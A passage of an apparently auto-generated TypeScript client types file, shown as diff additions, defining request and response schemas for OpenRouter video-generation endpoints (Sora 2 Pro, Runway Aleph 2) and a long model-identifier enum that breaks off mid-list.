openrouterPostVideosOpenaiSora2ProRequestModelEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProRequestModelEnum] + +export const openrouterPostVideosOpenaiSora2ProRequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosOpenaiSora2ProRequestResolutionEnumKey = + (typeof openrouterPostVideosOpenaiSora2ProRequestResolutionEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProRequestResolutionEnum] + +export const openrouterPostVideosOpenaiSora2ProRequestSizeEnum = { + '1280x720': '1280x720', + '1080x1920': '1080x1920', + '1920x1080': '1920x1080', + '720x1280': '720x1280', +} as const + +export type OpenrouterPostVideosOpenaiSora2ProRequestSizeEnumKey = + (typeof openrouterPostVideosOpenaiSora2ProRequestSizeEnum)[keyof typeof openrouterPostVideosOpenaiSora2ProRequestSizeEnum] + +/** + * @description OpenAI: Sora 2 Pro (openai/sora-2-pro) — model-constrained video generation request. OpenAI's flagship video generation model, delivering production-quality video with physics-accurate motion, synchronized audio, and world-state persistence across shots. Sora 2 Pro follows intricate multi-shot instructions while maintaining consistent spatial relationships... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosOpenaiSora2ProBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosOpenaiSora2ProRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosOpenaiSora2ProRequestDurationEnumKey + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosOpenaiSora2ProRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider-specific passthrough configuration Passthrough parameters allowed for this model: quality, style. + * @type object | undefined + */ + provider?: { + /** + * @description Provider-specific options keyed by provider slug. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions31C18Ad6 + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosOpenaiSora2ProRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosOpenaiSora2ProRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosOpenaiSora2ProOptions = { + body: OpenrouterPostVideosOpenaiSora2ProBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosOpenaiSora2ProResponses = { + '200': OpenrouterPostVideosOpenaiSora2ProStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosOpenaiSora2ProResponse = + OpenrouterPostVideosOpenaiSora2ProStatus200 + +export const openrouterPostVideosRunwayAleph2Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosRunwayAleph2Status200StatusEnumKey = + (typeof openrouterPostVideosRunwayAleph2Status200StatusEnum)[keyof typeof openrouterPostVideosRunwayAleph2Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosRunwayAleph2Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosRunwayAleph2Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosRunwayAleph2RequestAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '21:9': '21:9', +} as const + +export type OpenrouterPostVideosRunwayAleph2RequestAspectRatioEnumKey = + (typeof openrouterPostVideosRunwayAleph2RequestAspectRatioEnum)[keyof typeof openrouterPostVideosRunwayAleph2RequestAspectRatioEnum] + +export const openrouterPostVideosRunwayAleph2RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 